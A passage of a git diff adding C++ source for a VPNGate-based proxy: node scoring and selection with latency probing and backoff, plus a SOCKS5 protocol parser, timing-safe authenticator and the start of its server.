Scorer::final_score(const ScoredNode &s) const { + const double total_w = cfg_.w_rtt + cfg_.w_prior + cfg_.w_history; + if (total_w <= 0) return 0.0; + + double v = cfg_.w_rtt * terms::rtt_term(s.rtt_ms) + + cfg_.w_prior * s.prior + + cfg_.w_history * clamp01(s.history); + v /= total_w; + + // A UDP remote avoids stacking TCP on TCP (see docs/FEASIBILITY.md §3.2), so + // give it a modest edge when we are told to prefer UDP. + if (cfg_.prefer_udp && s.node && s.node->has_udp()) v *= 1.05; + + // Backed-off nodes stay selectable only as a last resort. + if (s.backed_off) v *= 0.10; + + return clamp01(v); +} + +std::vector Scorer::rank_by_prior( + const std::vector &nodes, + const HistoryStore &history) const { + std::vector out; + out.reserve(nodes.size()); + + for (const auto &n : nodes) { + if (!passes_filter(n)) continue; + ScoredNode s; + s.node = &n; + s.prior = prior_score(n); + const auto stats = history.get(n.id()); + s.history = stats.success_rate(); + s.backed_off = history.is_backed_off(n.id()); + // Seed RTT from history so a node we have measured before does not look + // unprobed on the next pass. + s.rtt_ms = stats.ewma_rtt_ms > 0 ? stats.ewma_rtt_ms : -1.0; + s.score = final_score(s); + out.push_back(s); + } + + std::sort(out.begin(), out.end(), [](const ScoredNode &a, const ScoredNode &b) { + if (a.backed_off != b.backed_off) return !a.backed_off; + return a.score > b.score; + }); + return out; +} + +} // namespace ovg::selector diff --git a/src/selector/scorer.h b/src/selector/scorer.h new file mode 100644 index 0000000..cd4ac7b --- /dev/null +++ b/src/selector/scorer.h @@ -0,0 +1,61 @@ +// Node scoring. +// +// Design rule: every term is an *absolute* function of the node's properties, +// never normalised against the current candidate set. Set-relative scores are +// not comparable across refreshes, which would break the "candidate must beat +// the incumbent by X%" hysteresis in the switch controller -- the incumbent's +// score would drift as the candidate pool changed around it. +#pragma once + +#include +#include + +#include "common/config.h" +#include "selector/history.h" +#include "vpngate/node.h" + +namespace ovg::selector { + +struct ScoredNode { + const vpngate::Node *node = nullptr; + double prior = 0.0; // from API metrics only + double rtt_ms = -1.0; // measured by us; -1 = not probed + double history = 0.5; + double score = 0.0; // final blend + bool probed = false; + bool backed_off = false; + std::string note; // human-readable reason, for logs and /nodes +}; + +class Scorer { + public: + explicit Scorer(SelectorConfig cfg); + + // Country allow/deny and "has a usable remote". + bool passes_filter(const vpngate::Node &n) const; + + // API-only score in [0,1]. + double prior_score(const vpngate::Node &n) const; + + // Blend of prior, measured RTT and history, in [0,1]. + double final_score(const ScoredNode &s) const; + + // Ranks by prior only. Backed-off nodes are marked but still returned so the + // caller can report them; they are pushed to the end. + std::vector rank_by_prior(const std::vector &nodes, + const HistoryStore &history) const; + + private: + SelectorConfig cfg_; +}; + +// Exposed for testing: the individual absolute term mappings. +namespace terms { +double score_term(int64_t vpngate_score); +double speed_term(int64_t speed_bps); +double sessions_term(int num_sessions); +double uptime_term(int64_t uptime_ms); +double rtt_term(double rtt_ms); +} // namespace terms + +} // namespace ovg::selector diff --git a/src/selector/selector.cpp b/src/selector/selector.cpp new file mode 100644 index 0000000..c07eb11 --- /dev/null +++ b/src/selector/selector.cpp @@ -0,0 +1,279 @@ +#include "selector/selector.h" + +#include +#include +#include + +#include "common/logging.h" +#include "common/metrics.h" + +namespace ovg::selector { +namespace { + +constexpr const char *kMod = "selector"; + +// A UDP-only node cannot be handshake-timed, so we fall back to VPNGate's own +// ping value -- measured from their infrastructure, not ours. Inflate it so an +// unverified number never outranks one we measured ourselves. +constexpr double kUnprobedPingPenalty = 1.5; + +auto *g_probes = metrics::counter("ovg_selector_probes_total", + "TCP latency probes attempted"); +auto *g_probe_fail = metrics::counter("ovg_selector_probe_failures_total", + "Probes that could not connect"); +auto *g_selections = metrics::counter("ovg_selector_selections_total", + "Selection runs completed"); +auto *g_empty = metrics::counter("ovg_selector_empty_selections_total", + "Selection runs that found no usable node"); +auto *g_candidates = metrics::gauge("ovg_selector_candidates", + "Nodes passing the filter at last run"); + +// The remote we probe. Prefer TCP because that is the only thing we can time +// with a bare connect(); a UDP "connect" completes locally and measures nothing. +const vpngate::Remote *probe_remote(const vpngate::Node &n) { + for (const auto &r : n.remotes) + if (r.proto == vpngate::Proto::Tcp && r.port != 0 && !r.host.empty()) + return &r; + return nullptr; +} + +} // namespace + +Selector::Selector(asio::io_context &io, SelectorConfig cfg, + vpngate::NodeStore &nodes, HistoryStore &history) + : io_(io), + cfg_(cfg), + nodes_(nodes), + history_(history), + scorer_(cfg), + prober_(io, cfg) {} + +Candidate Selector::to_candidate(const ScoredNode &s) const { + Candidate c; + c.node = *s.node; // detach from the snapshot + c.score = s.score; + c.prior = s.prior; + c.rtt_ms = s.rtt_ms; + c.probed = s.probed; + c.backed_off = s.backed_off; + c.note = s.note; + return c; +} + +void Selector::finish(std::vector ranked, size_t want, + Handler handler) { + std::sort(ranked.begin(), ranked.end(), + [](const Candidate &a, const Candidate &b) { + if (a.reachable != b.reachable) return a.reachable; + return a.score > b.score; + }); + + { + std::lock_guard lk(mu_); + last_ranking_ = ranked; + } + + std::vector out; + for (auto &c : ranked) { + if (!c.reachable) continue; + out.push_back(std::move(c)); + if (out.size() >= want) break; + } + + g_selections->inc(); + if (out.empty()) { + g_empty->inc(); + // Empty because there is no directory yet is a startup race; empty with a + // directory in hand means every node was rejected or unreachable, which is + // the one an operator needs to see. + if (directory_loaded()) { + LOG_WARN(kMod, "selection found no usable node"); + } else { + LOG_DEBUG(kMod, "selection found no usable node (no directory yet)"); + } + } else { + LOG_INFO(kMod, "selected {} ({}, score {:.3f}, rtt {:.0f}ms{})", + out.front().node.id(), out.front().node.country_short, + out.front().score, out.front().rtt_ms, + out.front().probed ? "" : ", unprobed"); + } + handler(std::move(out)); +} + +void Selector::select(SelectRequest req, Handler handler) { + auto snapshot = nodes_.snapshot(); + if (!snapshot || snapshot->empty()) { + // Not a warning. The manager polls this once a second during startup while + // the first directory fetch is in flight, and a normal cold start should + // not produce a wall of warnings for a condition that clears itself in a + // second or two. The manager escalates if it never clears. + LOG_DEBUG(kMod, "no node list available yet"); + finish({}, req.want, std::move(handler)); + return; + } + + auto ranked = scorer_.rank_by_prior(*snapshot, history_); + + if (!req.exclude_ids.empty()) { + const std::unordered_set excluded(req.exclude_ids.begin(), + req.exclude_ids.end()); + ranked.erase(std::remove_if(ranked.begin(), ranked.end(), + [&](const ScoredNode &s) { + return excluded.count(s.node->id()) > 0; + }), + ranked.end()); + } + + g_candidates->set(static_cast(ranked.size())); + LOG_DEBUG(kMod, "{} node(s) pass the filter ({} excluded by caller)", + ranked.size(), req.exclude_ids.size()); + + if (ranked.empty()) { + finish({}, req.want, std::move(handler)); + return; + } + + if (!req.probe) { + std::vector out; + out.reserve(std::min(ranked.size(), req.want)); + for (size_t i = 0; i < ranked.size() && out.size() < req.want; ++i) { + auto c = to_candidate(ranked[i]); + c.note = "prior only (probing skipped)"; + out.push_back(std::move(c)); + } + finish(std::move(out), req.want, std::move(handler)); + return; + } + + // Phase 2: probe only the top K. + const size_t k = std::min(ranked.size(), cfg_.probe_candidates); + ranked.resize(k); + + std::vector targets; + targets.reserve(k); + // Index into `ranked` for each probe target; UDP-only nodes are not probed + // and so do not appear here. + std::vector target_index; + target_index.reserve(k); + + for (size_t i = 0; i < k; ++i) { + const auto *r = probe_remote(*ranked[i].node); + if (!r) continue; + targets.push_back(ProbeTarget{ranked[i].node->id(), r->host, r->port}); + target_index.push_back(i); + } + + g_probes->inc(targets.size()); + + // Worth saying out loud: on VPNGate most nodes are UDP-only, so a top-10 by + // prior routinely yields three or four probe targets. An operator seeing + // "probed 4" against a 95-node directory would otherwise reasonably conclude + // the filter is broken. + if (targets.size() < k) { + LOG_INFO(kMod, + "{} of the top {} have no TCP remote to time; they keep their " + "API-reported ping with a penalty", + k - targets.size(), k); + } + + // `snapshot` must outlive the probe: ScoredNode holds pointers into it. + auto captured = std::make_shared>(std::move(ranked)); + auto idx = std::make_shared>(std::move(target_index)); + + prober_.probe( + std::move(targets), + [this, snapshot, captured, idx, want = req.want, + handler = std::move(handler)](std::vector results) mutable { + auto &ranked = *captured; + + // Nodes we could not probe at all keep their prior-derived RTT. + for (auto &s : ranked) { + if (s.rtt_ms < 0 && s.node->api.ping_ms > 0) + s.rtt_ms = s.node->api.ping_ms * kUnprobedPingPenalty; + } + + std::vector out; + out.reserve(ranked.size()); + + std::unordered_set probed_positions; + for (size_t i = 0; i < results.size() && i < idx->size(); ++i) { + const size_t pos = (*idx)[i]; + probed_positions.insert(pos); + auto &s = ranked[pos]; + const auto &r = results[i]; + + if (r.reachable) { + s.rtt_ms = r.rtt_ms; + s.probed = true; + s.note = "probed"; + history_.record_success(s.node->id(), r.rtt_ms); + } else { + // A node that will not complete a TCP handshake on its own + // advertised port is not going to carry a tunnel. Record it so the + // backoff keeps us from retrying it every 30 seconds. + g_probe_fail->inc(); + s.probed = true; + s.note = "probe failed: unreachable"; + history_.record_failure(s.node->id()); + } + } + + for (size_t i = 0; i < ranked.size(); ++i) { + auto &s = ranked[i]; + const bool was_probed = probed_positions.count(i) > 0; + const bool failed = was_probed && s.note.rfind("probe failed", 0) == 0; + + if (!was_probed) { + s.note = s.node->has_udp() + ? "udp-only: no TCP remote to time, using API ping" + : "no usable remote to probe"; + } + s.score = scorer_.final_score(s); + + auto c = to_candidate(s); + c.reachable = !failed; + if (failed) c.score = 0.0; + out.push_back(std::move(c)); + } + + // Probe outcomes changed the backoff state; persist before we act. + history_.save(); + + finish(std::move(out), want, std::move(handler)); + }); +} + +std::optional Selector::rescore(const std::string &node_id) const { + auto snapshot = nodes_.snapshot(); + if (!snapshot) return std::nullopt; + + for (const auto &n : *snapshot) { + if (n.id() != node_id) continue; + + ScoredNode s; + s.node = &n; + s.prior = scorer_.prior_score(n); + const auto stats = history_.get(node_id); + s.history = stats.success_rate(); + s.backed_off = history_.is_backed_off(node_id); + s.rtt_ms = stats.ewma_rtt_ms > 0 ? stats.ewma_rtt_ms : -1.0; + s.probed = stats.ewma_rtt_ms > 0; + s.note = "rescored from history"; + s.score = scorer_.final_score(s); + return to_candidate(s); + } + + // The node fell out of the API list. That alone is not fatal -- an active + // tunnel to it keeps working -- but it can no longer be scored, so the caller + // should treat it as unknown rather than as zero. + return std::nullopt; +} + +std::vector Selector::last_ranking() const { + std::lock_guard lk(mu_); + return last_ranking_; +} + +bool Selector::directory_loaded() const { return nodes_.has_nodes(); } + +} // namespace ovg::selector diff --git a/src/selector/selector.h b/src/selector/selector.h new file mode 100644 index 0000000..3b133ab --- /dev/null +++ b/src/selector/selector.h @@ -0,0 +1,98 @@ +// Picks which VPNGate node to connect to. +// +// Two phases, deliberately: +// +// 1. Cheap prior ranking over the whole list (~100 nodes) using the API +// metrics plus our own history. No network I/O. +// 2. Active probing of only the top-K survivors, then a re-score that weights +// our own measurement above anything VPNGate told us. +// +// Probing all ~100 nodes on every selection would be both slow and rude to a +// volunteer-run service; probing none of them means ranking on numbers measured +// from another continent (docs/FEASIBILITY.md §3.3). +// +// The result is a ranked list, not a single node: the switch controller needs +// alternatives when its first choice fails to come up. +#pragma once + +#include + +#include +#include +#include +#include +#include + +#include "common/config.h" +#include "selector/history.h" +#include "selector/prober.h" +#include "selector/scorer.h" +#include "vpngate/node_store.h" + +namespace ovg::selector { + +// A ranked node, detached from the NodeStore snapshot it came from so the +// caller can hold it across a refresh. +struct Candidate { + vpngate::Node node; + double score = 0.0; + double prior = 0.0; + double rtt_ms = -1.0; + bool probed = false; // we timed a real handshake to it + bool reachable = true; // false only when a probe actually failed + bool backed_off = false; + std::string note; // why it scored the way it did; surfaced in logs and /nodes +}; + +struct SelectRequest { + // Nodes to leave out entirely: the incumbent, anything still draining, and + // anything the switch controller has already tried this round. + std::vector exclude_ids; + size_t want = 3; // how many ranked candidates to return + bool probe = true; // false = prior-only, for a fast path at startup +}; + +class Selector { + public: + Selector(asio::io_context &io, SelectorConfig cfg, vpngate::NodeStore &nodes, + HistoryStore &history); + + using Handler = std::function)>; + + // Runs the two-phase selection. `handler` is invoked exactly once, on the + // io_context, with up to `want` candidates ordered best-first. An empty + // result means nothing usable was found. + void select(SelectRequest req, Handler handler); + + // Re-scores a single node against the current snapshot and history, without + // probing. Used for the "candidate must beat the incumbent by X%" check -- + // the incumbent must be scored the same way as its challengers, and this is + // why every scoring term is absolute rather than set-relative. + std::optional rescore(const std::string &node_id) const; + + // Most recent ranking, for the admin endpoint. May be empty. + std::vector last_ranking() const; + + // Whether the directory has been loaded at all. An empty selection means two + // very different things -- "the node list has not arrived yet", which is a + // one-second-old process and resolves itself, and "every node was probed and + // none worked", which deserves a backoff. The caller cannot tell them apart + // from an empty result vector, so it asks here. + bool directory_loaded() const; + + private: + Candidate to_candidate(const ScoredNode &s) const; + void finish(std::vector ranked, size_t want, Handler handler); + + asio::io_context &io_; + SelectorConfig cfg_; + vpngate::NodeStore &nodes_; + HistoryStore &history_; + Scorer scorer_; + Prober prober_; + + mutable std::mutex mu_; + std::vector last_ranking_; +}; + +} // namespace ovg::selector diff --git a/src/socks5/auth.cpp b/src/socks5/auth.cpp new file mode 100644 index 0000000..b883587 --- /dev/null +++ b/src/socks5/auth.cpp @@ -0,0 +1,72 @@ +#include "socks5/auth.h" + +#include "common/logging.h" + +namespace ovg::socks5 { +namespace { +constexpr const char *kMod = "auth"; +} + +Authenticator::Authenticator(std::vector users, bool required) + : users_(std::move(users)), required_(required) { + // A fixed decoy, hashed exactly like a real credential, so the miss path + // costs the same as the hit path. Built once because generating it per + // attempt would itself be a timing signal. + decoy_ = make_credential("\x00-nonexistent-\x00", "\x00-nonexistent-\x00"); + if (required_ && users_.empty()) { + LOG_WARN(kMod, "authentication is required but no credentials are loaded: " + "every client will be rejected"); + } +} + +bool Authenticator::empty() const { + std::lock_guard lk(mu_); + return users_.empty(); +} + +bool Authenticator::check(const std::string &user, + const std::string &password) const { + std::lock_guard lk(mu_); + + const Credential *found = nullptr; + for (const auto &c : users_) { + // Username comparison is not constant-time and does not need to be: the + // name is not a secret, and the timing of a string compare over a + // handful of entries is far below the noise of a network round trip. The + // hash below is what must not vary. + if (c.username == user) { + found = &c; + break; + } + } + + // Always exactly one verification, hit or miss. + const bool ok = verify_credential(found != nullptr ? *found : decoy_, password); + const bool result = ok && found != nullptr; + + if (result) { + ++ok_; + } else { + ++bad_; + } + return result; +} + +size_t Authenticator::replace(std::vector users) { + std::lock_guard lk(mu_); + users_ = std::move(users); + LOG_INFO(kMod, "credential set replaced: {} user(s)", users_.size()); + return users_.size(); +} + +uint64_t Authenticator::successes() const { + std::lock_guard lk(mu_); + return ok_; +} + +uint64_t Authenticator::failures() const { + std::lock_guard lk(mu_); + return bad_; +} + +} // namespace ovg::socks5 diff --git a/src/socks5/auth.h b/src/socks5/auth.h new file mode 100644 index 0000000..bf4f121 --- /dev/null +++ b/src/socks5/auth.h @@ -0,0 +1,53 @@ +// Username/password authentication for the SOCKS5 listener. +// +// The whole module exists to make one property hold: **an attacker learns +// nothing from how long a rejection takes.** A naive implementation leaks the +// existence of a username -- a lookup that misses returns in nanoseconds while a +// hit spends a millisecond hashing. So every attempt hashes exactly once, +// against a real credential if the name matched and against a fixed decoy if it +// did not, and the comparison itself is constant-time (verify_credential uses +// CRYPTO_memcmp). +// +// Credentials are held by value. The set is small (tens of users, not millions) +// and reload is a whole-object swap under a mutex, so there is no partially +// applied credential list and no reference into a table being rewritten. +#pragma once + +#include +#include +#include +#include + +#include "common/config.h" + +namespace ovg::socks5 { + +class Authenticator { + public: + // `required == false` means the NO_AUTH method is offered. Credentials are + // still checked if a client chooses USERPASS anyway -- being lenient about + // requiring auth is a deployment choice, being lenient about a *presented* + // wrong password never is. + Authenticator(std::vector users, bool required); + + bool required() const { return required_; } + bool empty() const; + + // Constant-time in the sense described above. + bool check(const std::string &user, const std::string &password) const; + + // Hot-reload. Returns the new count. + size_t replace(std::vector users); + + uint64_t successes() const; + uint64_t failures() const; + + private: + mutable std::mutex mu_; + std::vector users_; + Credential decoy_; // hashed against when the username does not exist + bool required_; + mutable uint64_t ok_ = 0, bad_ = 0; +}; + +} // namespace ovg::socks5 diff --git a/src/socks5/protocol.cpp b/src/socks5/protocol.cpp new file mode 100644 index 0000000..33f4ba8 --- /dev/null +++ b/src/socks5/protocol.cpp @@ -0,0 +1,252 @@ +#include "socks5/protocol.h" + +#include + +#include "common/error.h" + +namespace ovg::socks5 { +namespace { + +// Reads a big-endian port. Callers have already bounds-checked. +uint16_t read_port(const uint8_t *p) { + return static_cast((static_cast(p[0]) << 8) | p[1]); +} + +void write_port(std::vector *out, uint16_t port) { + out->push_back(static_cast(port >> 8)); + out->push_back(static_cast(port & 0xFF)); +} + +// Decodes ATYP + ADDR + PORT starting at data[0]. +// +// Shared by the request decoder and the UDP header decoder because they carry +// the identical field -- RFC 1928 defines it once and reuses it, and so do we. +// A second copy of this is a second place for a length check to be wrong. +Decode decode_address(const uint8_t *data, size_t len, Endpoint *out) { + if (len < 1) return {Status::NeedMore, 0}; + const auto atyp = static_cast(data[0]); + + switch (atyp) { + case AddrType::Ipv4: { + constexpr size_t need = 1 + 4 + 2; + if (len < need) return {Status::NeedMore, 0}; + *out = Endpoint(IpAddress::from_bytes_v4(data + 1), read_port(data + 5)); + return {Status::Ok, need}; + } + case AddrType::Ipv6: { + constexpr size_t need = 1 + 16 + 2; + if (len < need) return {Status::NeedMore, 0}; + *out = Endpoint(IpAddress::from_bytes_v6(data + 1), read_port(data + 17)); + return {Status::Ok, need}; + } + case AddrType::Domain: { + if (len < 2) return {Status::NeedMore, 0}; + const size_t nlen = data[1]; + // A zero-length name can never become a valid destination, so this is Bad + // rather than NeedMore -- otherwise the session would sit waiting for + // bytes that would not help. + if (nlen == 0) return {Status::Bad, 0}; + const size_t need = 2 + nlen + 2; + if (len < need) return {Status::NeedMore, 0}; + std::string name(reinterpret_cast(data + 2), nlen); + // Some clients send a literal in an ATYP=3 field. Normalising here means + // the egress never re-resolves an address it was already given, and the + // tunnel's DNS budget is spent on names that actually need it. + if (auto ip = IpAddress::parse(name)) { + *out = Endpoint(*ip, read_port(data + 2 + nlen)); + } else { + *out = Endpoint(std::move(name), read_port(data + 2 + nlen)); + } + return {Status::Ok, need}; + } + } + return {Status::Bad, 0}; +} + +} // namespace + +const char *command_name(Command c) { + switch (c) { + case Command::Connect: return "CONNECT"; + case Command::Bind: return "BIND"; + case Command::UdpAssociate: return "UDP_ASSOCIATE"; + } + return "?"; +} + +const char *reply_name(Reply r) { + switch (r) { + case Reply::Succeeded: return "succeeded"; + case Reply::GeneralFailure: return "general_failure"; + case Reply::NotAllowed: return "not_allowed"; + case Reply::NetworkUnreachable: return "network_unreachable"; + case Reply::HostUnreachable: return "host_unreachable"; + case Reply::ConnectionRefused: return "connection_refused"; + case Reply::TtlExpired: return "ttl_expired"; + case Reply::CommandNotSupported: return "command_not_supported"; + case Reply::AddressTypeNotSupported: return "addr_type_not_supported"; + } + return "?"; +} + +const char *method_name(Method m) { + switch (m) { + case Method::NoAuth: return "none"; + case Method::Gssapi: return "gssapi"; + case Method::UserPass: return "userpass"; + case Method::None: return "unacceptable"; + } + return "?"; +} + +Reply reply_for(const std::error_code &ec) { + return static_cast(socks5_reply_for(ec)); +} + +bool Greeting::offers(Method m) const { + for (Method have : methods) { + if (have == m) return true; + } + return false; +} + +Decode decode_greeting(const uint8_t *data, size_t len, Greeting *out) { + if (len < 2) return {Status::NeedMore, 0}; + if (data[0] != kVersion) return {Status::Bad, 0}; + const size_t n = data[1]; + // NMETHODS == 0 is malformed: the client is required to offer at least one. + if (n == 0) return {Status::Bad, 0}; + const size_t need = 2 + n; + if (len < need) return {Status::NeedMore, 0}; + + out->methods.clear(); + out->methods.reserve(n); + for (size_t i = 0; i < n; ++i) { + out->methods.push_back(static_cast(data[2 + i])); + } + return {Status::Ok, need}; +} + +std::vector encode_method_selection(Method m) { + return {kVersion, static_cast(m)}; +} + +Decode decode_userpass(const uint8_t *data, size_t len, UserPass *out) { + if (len < 2) return {Status::NeedMore, 0}; + if (data[0] != kAuthVersion) return {Status::Bad, 0}; + const size_t ulen = data[1]; + // An empty username is permitted by the grammar (ULEN is 0..255) but can + // never match a configured credential; letting it through keeps the parser + // honest and lets the authenticator do the rejecting, in constant time. + if (len < 2 + ulen + 1) return {Status::NeedMore, 0}; + const size_t plen = data[2 + ulen]; + const size_t need = 2 + ulen + 1 + plen; + if (len < need) return {Status::NeedMore, 0}; + + out->username.assign(reinterpret_cast(data + 2), ulen); + out->password.assign(reinterpret_cast(data + 3 + ulen), plen); + return {Status::Ok, need}; +} + +std::vector encode_userpass_reply(bool ok) { + return {kAuthVersion, static_cast(ok ? 0x00 : 0x01)}; +} + +Decode decode_request(const uint8_t *data, size_t len, Request *out) { + if (len < 3) return {Status::NeedMore, 0}; + if (data[0] != kVersion) return {Status::Bad, 0}; + // RSV must be 0x00. Being strict here costs nothing -- no real client sets + // it -- and a non-zero byte is a good early signal that we are not actually + // talking to a SOCKS5 client. + if (data[2] != 0x00) return {Status::Bad, 0}; + + const auto cmd = static_cast(data[1]); + switch (cmd) { + case Command::Connect: + case Command::Bind: + case Command::UdpAssociate: + break; + default: + // Deliberately not Bad: an unknown command still has a well-formed + // address after it, and the session wants to parse that so it can send a + // proper CommandNotSupported reply instead of a bare TCP reset. + break; + } + + Endpoint target; + const Decode d = decode_address(data + 3, len - 3, &target); + if (d.status != Status::Ok) return {d.status, 0}; + + out->command = cmd; + out->target = std::move(target); + return {Status::Ok, 3 + d.used}; +} + +void append_address(std::vector *out, const Endpoint &ep) { + // A default-constructed Endpoint is a *domain* of zero length, which is the + // one thing decode_address refuses outright. Failure replies are built from + // exactly that, so it has to fall through to the 0.0.0.0 encoding below + // rather than emitting a field no client can parse. + if (ep.is_domain() && !ep.domain().empty()) { + const std::string &name = ep.domain(); + // Cannot happen for anything we decoded (ULEN is a byte), but this function + // is also called with endpoints built elsewhere. + const size_t n = name.size() > 255 ? 255 : name.size(); + out->push_back(static_cast(AddrType::Domain)); + out->push_back(static_cast(n)); + out->insert(out->end(), name.begin(), name.begin() + static_cast(n)); + write_port(out, ep.port()); + return; + } + + const IpAddress &ip = ep.address(); + if (ip.is_v6()) { + out->push_back(static_cast(AddrType::Ipv6)); + out->insert(out->end(), ip.bytes().begin(), ip.bytes().begin() + 16); + } else { + // Covers both a real v4 address and a default-constructed (invalid) one, + // which encodes as 0.0.0.0 -- what every client expects in a failure reply. + out->push_back(static_cast(AddrType::Ipv4)); + out->insert(out->end(), ip.bytes().begin(), ip.bytes().begin() + 4); + } + write_port(out, ep.port()); +} + +std::vector encode_reply(Reply rep, const Endpoint &bound) { + std::vector out; + out.reserve(10); + out.push_back(kVersion); + out.push_back(static_cast(rep)); + out.push_back(0x00); // RSV + append_address(&out, bound); + return out; +} + +bool decode_udp_header(const uint8_t *data, size_t len, UdpHeader *out) { + if (len < 4) return false; + if (data[0] != 0x00 || data[1] != 0x00) return false; + + Endpoint target; + const Decode d = decode_address(data + 3, len - 3, &target); + // NeedMore is as fatal as Bad for a datagram: there is no "more". + if (d.status != Status::Ok) return false; + + out->frag = data[2]; + out->target = std::move(target); + out->header_len = 3 + d.used; + return true; +} + +std::vector encode_udp_datagram(const Endpoint &from, + const uint8_t *payload, size_t len) { + std::vector out; + out.reserve(10 + len); + out.push_back(0x00); + out.push_back(0x00); + out.push_back(0x00); // FRAG + append_address(&out, from); + if (len > 0) out.insert(out.end(), payload, payload + len); + return out; +} + +} // namespace ovg::socks5 diff --git a/src/socks5/protocol.h b/src/socks5/protocol.h new file mode 100644 index 0000000..f57496b --- /dev/null +++ b/src/socks5/protocol.h @@ -0,0 +1,152 @@ +// RFC 1928 (SOCKS5) and RFC 1929 (username/password auth), as pure functions. +// +// Nothing here does I/O, allocates a session, or knows what an egress is. Every +// function takes bytes and returns either a decoded message or "need more" / +// "malformed". That separation is what makes the protocol layer exhaustively +// testable: the fuzz-shaped cases -- a truncated domain length, a zero-length +// name, an ATYP nobody has heard of -- are unit tests here rather than +// something you hope the relay handles. +// +// --------------------------------------------------------------------------- +// The incremental-parse contract +// --------------------------------------------------------------------------- +// Every decoder returns a Decode: +// +// Status::Ok consumed `used` bytes, `out` is filled +// Status::NeedMore the buffer is a valid prefix; call again with more +// Status::Bad it cannot become valid no matter what follows; close +// +// NeedMore never says *how much* more. A caller that reads one byte at a time +// still makes progress, and the parser never has to be trusted with a length it +// derived from attacker-controlled input. +#pragma once + +#include +#include +#include +#include +#include + +#include "common/endpoint.h" + +namespace ovg::socks5 { + +constexpr uint8_t kVersion = 0x05; +constexpr uint8_t kAuthVersion = 0x01; // RFC 1929 subnegotiation version + +enum class Method : uint8_t { + NoAuth = 0x00, + Gssapi = 0x01, + UserPass = 0x02, + None = 0xFF, // "no acceptable methods" +}; + +enum class Command : uint8_t { + Connect = 0x01, + Bind = 0x02, + UdpAssociate = 0x03, +}; + +// RFC 1928 §6 REP values. +enum class Reply : uint8_t { + Succeeded = 0x00, + GeneralFailure = 0x01, + NotAllowed = 0x02, + NetworkUnreachable = 0x03, + HostUnreachable = 0x04, + ConnectionRefused = 0x05, + TtlExpired = 0x06, + CommandNotSupported = 0x07, + AddressTypeNotSupported = 0x08, +}; + +enum class AddrType : uint8_t { + Ipv4 = 0x01, + Domain = 0x03, + Ipv6 = 0x04, +}; + +const char *command_name(Command c); +const char *reply_name(Reply r); +const char *method_name(Method m); + +// Maps our internal error onto a REP value. Thin wrapper over +// ovg::socks5_reply_for so callers here do not need common/error.h. +Reply reply_for(const std::error_code &ec); + +enum class Status { Ok, NeedMore, Bad }; + +struct Decode { + Status status = Status::NeedMore; + size_t used = 0; // bytes consumed; only meaningful when status == Ok +}; + +// --------------------------------------------------------------------------- +// Client greeting: VER NMETHODS METHODS... +// --------------------------------------------------------------------------- +struct Greeting { + std::vector methods; + bool offers(Method m) const; +}; +Decode decode_greeting(const uint8_t *data, size_t len, Greeting *out); + +// Server method selection: VER METHOD +std::vector encode_method_selection(Method m); + +// --------------------------------------------------------------------------- +// RFC 1929: VER ULEN UNAME PLEN PASSWD +// --------------------------------------------------------------------------- +struct UserPass { + std::string username; + std::string password; +}; +Decode decode_userpass(const uint8_t *data, size_t len, UserPass *out); + +// VER STATUS; STATUS 0 means success and anything else means the client must +// close (RFC 1929 §2). +std::vector encode_userpass_reply(bool ok); + +// --------------------------------------------------------------------------- +// Request / reply: VER CMD RSV ATYP DST.ADDR DST.PORT +// --------------------------------------------------------------------------- +struct Request { + Command command = Command::Connect; + Endpoint target; +}; +Decode decode_request(const uint8_t *data, size_t len, Request *out); + +// A reply carrying BND.ADDR/BND.PORT. For a failure the address is ignored by +// every client in practice, but RFC 1928 still requires a well-formed one, so +// an empty endpoint is encoded as 0.0.0.0:0 rather than omitted. +std::vector encode_reply(Reply rep, const Endpoint &bound); + +// --------------------------------------------------------------------------- +// UDP request header (RFC 1928 §7): RSV RSV FRAG ATYP DST.ADDR DST.PORT DATA +// --------------------------------------------------------------------------- +struct UdpHeader { + uint8_t frag = 0; + Endpoint target; + size_t header_len = 0; // where the payload starts +}; + +// Unlike the stream decoders this one is all-or-nothing: a datagram is a +// complete message or it is garbage, so there is no NeedMore. +bool decode_udp_header(const uint8_t *data, size_t len, UdpHeader *out); + +// Prepends the header to `payload`, for a datagram going back to the client. +// FRAG is always 0: we neither send nor accept fragments (docs/FEASIBILITY.md +// §5.1). +std::vector encode_udp_datagram(const Endpoint &from, + const uint8_t *payload, size_t len); + +// Exposed for tests and for encode_reply/encode_udp_datagram: appends +// ATYP + address + port. +void append_address(std::vector *out, const Endpoint &ep); + +// Longest possible address field: ATYP + 255-byte domain + length + port. +constexpr size_t kMaxAddressBytes = 1 + 1 + 255 + 2; +// A SOCKS5 request can never exceed this, which is what bounds the handshake +// buffer: an attacker cannot make us hold more by claiming a longer name. +constexpr size_t kMaxRequestBytes = 3 + kMaxAddressBytes; + +} // namespace ovg::socks5 diff --git a/src/socks5/server.cpp b/src/socks5/server.cpp new file mode 100644 index 0000000..e861c58 --- /dev/null +++ b/src/socks5/server.cpp @@ -0,0 +1,235 @@ +#include "socks5/server.h" + +#include "common/error.h" +#include "common/logging.h" +#include "common/metrics.h" + +namespace ovg::socks5 { +namespace { + +constexpr const char *kMod = "socks5"; + +metrics::Counter *m_accepted() { + static auto *c = metrics::counter("ovg_socks5_sessions_total", + "Accepted SOCKS5 connections"); + return c; +} +metrics::Counter *m_rejected() { + static auto *c = + metrics::counter("ovg_socks5_rejected_total", + "Connections refused by max_sessions admission control"); + return c; +} +metrics::Counter *m_no_egress() { + static auto *c = metrics::counter("ovg_socks5_no_egress_total", + "Connections refused: no usable tunnel"); + return c; +} +metrics::Gauge *g_active() { + static auto *g = + metrics::gauge("ovg_socks5_sessions_active", "Live SOCKS5 sessions"); + return g; +} + +} // namespace + +Server::Server(asio::io_context &io, const Config &cfg, EgressProvider acquire) + : io_(io), + cfg_(cfg.socks5), + acquire_(std::move(acquire)), + accept_strand_(asio::make_strand(io)), + acceptor_(accept_strand_), + auth_(cfg.socks5.users, cfg.socks5.require_auth) { + auto opts = std::make_shared(); + opts->socks5 = cfg.socks5; + opts->retry_zero_progress = cfg.switching.retry_zero_progress; + opts->rehome_udp = cfg.switching.rehome_udp; + opts_ = std::move(opts); +} + +Server::~Server() { stop(); } + +bool Server::start(std::string *err) { + std::error_code ec; + const auto addr = asio::ip::make_address(cfg_.listen_address, ec); + if (ec) { + *err = "socks5.listen_address is not an IP address: " + cfg_.listen_address; + return false; + } + const asio::ip::tcp::endpoint ep(addr, cfg_.listen_port); + + acceptor_.open(ep.protocol(), ec); + if (ec) { + *err = "cannot open listening socket: " + ec.message(); + return false; + } + acceptor_.set_option(asio::socket_base::reuse_address(true), ec); + 